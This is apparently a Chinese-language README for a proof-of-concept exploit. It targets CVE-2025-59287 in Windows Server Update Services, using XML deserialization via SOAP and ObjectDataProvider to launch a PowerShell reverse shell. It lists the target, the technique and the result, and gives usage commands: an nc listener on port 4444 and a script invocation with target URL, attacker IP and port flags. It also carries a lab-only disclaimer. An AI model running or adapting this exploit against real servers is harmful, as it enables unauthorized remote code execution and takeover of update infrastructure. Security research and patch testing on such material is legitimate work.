furkankayapinar/cve-2025-59287PoC 漏洞利用，针对 WSUS CVE-2025-59287，利用 XML 反序列化通过 SOAP 和 ObjectDataProvider 实现 Windows 反向 Shell。
WSUS CVE-2025-59287 – XML 反序列化 RCE（反向 Shell） 一个针对 WSUS CVE-2025-59287 的聚焦 PoC，通过 XML 反序列化实现 Windows 反向 Shell。此脚本仅支持反向 Shell 载荷（无 calc 回退）。 目标：安装了 WSUS 角色的 Windows Server 技术：SOAP + ObjectDataProvider 反序列化 结果：cmd.exe 启动 PowerShell 反向 Shell 连接到你的监听器 免责声明 仅限在实验室环境中进行授权测试。你有责任遵守所有适用法律。 要求 Python 3.x 可访问 WSUS 端点（通常为 8530/8531） 你机器上的监听器（例如 nc）
nc -lvnp 4444
python3 my-CVE-2025-59287.py -u http://TARGET:8531 -l YOUR_IP -p 4444 --debug
-u: WSUS 基础 URL（http/https，通常为端口 8530/8531） -l: 用于接收 Shell 的你的 IP -p: 你的监听器端口 --debug: 详细输出
